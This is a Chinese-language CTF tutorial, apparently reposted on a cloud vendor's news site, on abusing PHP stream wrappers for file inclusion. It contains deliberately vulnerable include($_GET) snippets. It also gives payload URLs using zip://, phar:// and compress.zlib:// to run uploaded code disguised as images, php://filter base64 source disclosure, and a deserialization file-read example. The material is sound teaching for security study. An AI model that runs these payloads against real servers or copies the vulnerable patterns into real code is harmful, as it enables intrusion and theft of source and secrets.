溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何進(jìn)行ctf中php偽協(xié)議的考查

發(fā)布時(shí)間:2021-10-23 09:27:24 來(lái)源:億速云 閱讀:377 作者:柒染 欄目:網(wǎng)絡(luò)安全

今天就跟大家聊聊有關(guān)如何進(jìn)行ctf中php偽協(xié)議的考查,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。                                                                         

php://input協(xié)議

第一個(gè)例子

flag.php

<?php$flag = 'flag{flag_is_here}';

test1.php

<?php

include('flag.php');

$a= $_GET["a"];

if(isset($a)&&(file_get_contents($a,'r'))=== 'this is test'){

echo"success\n";

echo$flag;

}

else{

echo"error";

}

看上面php代碼可知當(dāng)讀取文件的內(nèi)容是thisis test時(shí)才顯示flag,我們并不知道那個(gè)文件有這個(gè)內(nèi)容,我們可以使用php://這個(gè)協(xié)議php://input可以得到原始的post數(shù)據(jù),訪問(wèn)請(qǐng)求的原始數(shù)據(jù)的只讀流,將post請(qǐng)求中的數(shù)據(jù)作為PHP代碼執(zhí)行,如下操作來(lái)繞過(guò):

使用條件:

allow_url_fopen:off/on

allow_url_include:on

第二個(gè)例子

php://input實(shí)現(xiàn)代碼執(zhí)行

test1.php改為如下

<?php

$a= $_GET["a"];

include($a);

注:只在php5.2.17 下測(cè)試成功,其他均出現(xiàn)報(bào)錯(cuò),原因未知。

php://filter/convert.base64-encode/resource=

看另外一個(gè)代碼:

<?php

$a= $_GET['a'];

include($a);

如何顯示flag.php的內(nèi)容呢?直接包含是不會(huì)顯示的,這時(shí)就要用到這個(gè)php://filter/convert.base64-encode/resource=取源代碼并進(jìn)行base64編碼輸出,不然會(huì)直接當(dāng)做php代碼執(zhí)行就看不到源代碼內(nèi)容了。

php://filter在雙off的情況下也可以正常使用;

allow_url_fopen:off/on

allow_url_include:off/on

利用反序列化讀取文件

借鑒2016xctf 一道題的思路,代碼被我簡(jiǎn)化了:

<?php

classflag{

   public$file;

   publicfunction __tostring(){

       echofile_get_contents($this->file);

return'yes';

   }

}

$a= new flag();

$a->file= 'php://filter/convert.base64-encode/resource=flag.php';

$data= serialize($a);

echo$data.'<br>';

echounserialize($data);

定義一個(gè)flag類,并重寫了tostring(),我們先new一個(gè)新對(duì)象,并給變量賦值,最后序列化一下。

假設(shè)在某個(gè)題目中序列化后變量是可控的而且我們知道類內(nèi)容,那我們就可以通過(guò)可控變量實(shí)現(xiàn)任意文件讀取,如上代碼中,反序列化過(guò)程中實(shí)現(xiàn)了flag.php文件的讀取


file://協(xié)議

file://協(xié)議在雙off的情況下也可以正常使用;

allow_url_fopen:off/on

allow_url_include:off/on

file://用于訪問(wèn)本地文件系統(tǒng),在CTF中通常用來(lái)讀取本地文件的且不受allow_url_fopen與allow_url_include的影響

前幾天某比賽web第二道題就是利用注入控制反序列化,file://協(xié)議讀取本地文件

注:file://協(xié)議必須是絕對(duì)路徑

zip://,bzip2://, zlib://協(xié)議

雙off情況下正常使用

allow_url_fopen:off/on

allow_url_include:off/on

payload:

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23code.txt

先將要執(zhí)行的PHP代碼寫好文件名為phpcode.txt,將phpcode.txt進(jìn)行zip壓縮,壓縮文件名為file.zip,如果可以上傳zip文件便直接上傳,若不能便將file.zip重命名為file.jpg后在上傳,其他幾種壓縮格式也可以這樣操作。

由于#在get請(qǐng)求中會(huì)將后面的參數(shù)忽略所以使用get請(qǐng)求時(shí)候應(yīng)進(jìn)行url編碼為%23,且此處經(jīng)過(guò)測(cè)試相對(duì)路徑是不可行,所以只能用絕對(duì)路徑。


phar協(xié)議

1.jpg是一個(gè)里面含有1.php的壓縮包,改了后綴名,包含方法如下。

include.php?f=phar://./images/1.jpg/1.php


zlib://協(xié)議

使用方法:

compress.zlib://file.gz

絕對(duì)路徑

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/1.jpg

相對(duì)路徑

http://127.0.0.1/cmd.php?file=compress.zlib://./1.jpg


總結(jié)

上面只是最基礎(chǔ)的例子,在ctf中要會(huì)活用,正所謂再難的題也離不開(kāi)基礎(chǔ)。

題外話:近來(lái)國(guó)內(nèi)ctf比賽越來(lái)越趨向于國(guó)際化,pwn、re題目占了絕大部分,web題很少或者直接沒(méi)有,作為一個(gè)web狗要堅(jiān)強(qiáng)的走下去。

看完上述內(nèi)容,你們對(duì)如何進(jìn)行ctf中php偽協(xié)議的考查有進(jìn)一步的了解嗎?如果還想了解更多知識(shí)或者相關(guān)內(nèi)容,請(qǐng)關(guān)注億速云行業(yè)資訊頻道,感謝大家的支持。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI